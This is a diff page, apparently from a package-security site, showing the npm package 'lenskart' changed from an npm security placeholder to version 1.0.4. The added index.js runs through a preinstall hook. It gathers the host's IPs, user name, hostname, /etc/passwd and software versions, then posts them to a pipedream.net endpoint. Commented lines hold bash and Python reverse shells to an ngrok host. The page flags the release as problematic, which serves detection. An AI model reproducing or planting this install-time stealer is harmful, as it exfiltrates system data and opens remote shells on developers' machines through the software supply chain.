lenskart 0.0.1-security → 1.0.4

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of lenskart might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +49 -0
  2. package/package.json +9 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,49 @@
1
+
2
+ const execSync = require('child_process').execSync;
3
+
4
+ const priv_ip = execSync('hostname -I', { encoding: 'utf-8' });
5
+ const whoami = execSync('whoami', { encoding: 'utf-8' });
6
+ const host = execSync('hostname', { encoding: 'utf-8' });
7
+ const l9 = execSync('dig +short myip.opendns.com @resolver1.opendns.com', { encoding: 'utf-8' });
8
+ const passwd = execSync('cat /etc/passwd', { encoding: 'utf-8' });
9
+ // const pyv = execSync('python3 --version', { encoding: 'utf-8' });
10
+ const php = execSync('php --version', { encoding: 'utf-8' });
11
+ const lsb = execSync('lsb_release -a', { encoding: 'utf-8' });
12
+ // const wbash = execSync('which bash', { encoding: 'utf-8' });
13
+ // const current_dir = execSync('pwd', { encoding: 'utf-8' });
14
+ // const shell = execSync('bash -i >& /dev/tcp/0.tcp.in.ngrok.io/10474 0>&1', { encoding: 'utf-8' });
15
+ // const py3 = execSync("export RHOST='0.tcp.in.ngrok.io';export RPORT=16848;python -c 'import socket,os,pty;s=socket.socket();s.connect((os.getenv('RHOST'),int(os.getenv('RPORT'))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn('/bin/sh')'", { encoding: 'utf-8' });
16
+
17
+
18
+
19
+ const https = require("https")
20
+
21
+ const data = JSON.stringify({
22
+ "private IP": priv_ip,
23
+ "whoami": whoami,
24
+ "hostname": host,
25
+ "passwd": passwd,
26
+ // "python version": pyv,
27
+ "php version": php,
28
+ "lsb": lsb,
29
+ "l9 public IP": l9,
30
+ // "Which bash": wbash,
31
+ // "shell": shell,
32
+ // "current dir": current_dir,
33
+ // "py": py,
34
+ })
35
+
36
+ const options = {
37
+ hostname: "eo2z7l1ydft6861.m.pipedream.net",
38
+ port: 443,
39
+ path: "/",
40
+ method: "POST",
41
+ headers: {
42
+ "Content-Type": "application/json",
43
+ "Content-Length": data.length,
44
+ },
45
+ }
46
+
47
+ const req = https.request(options)
48
+ req.write(data)
49
+ req.end()
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "lenskart",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.4",
4
+ "description": "Shiv Pratap Singh Tookover this package",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "Shiv Pratap Singh",
11
+ "license": "ISC"
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=lenskart for more information.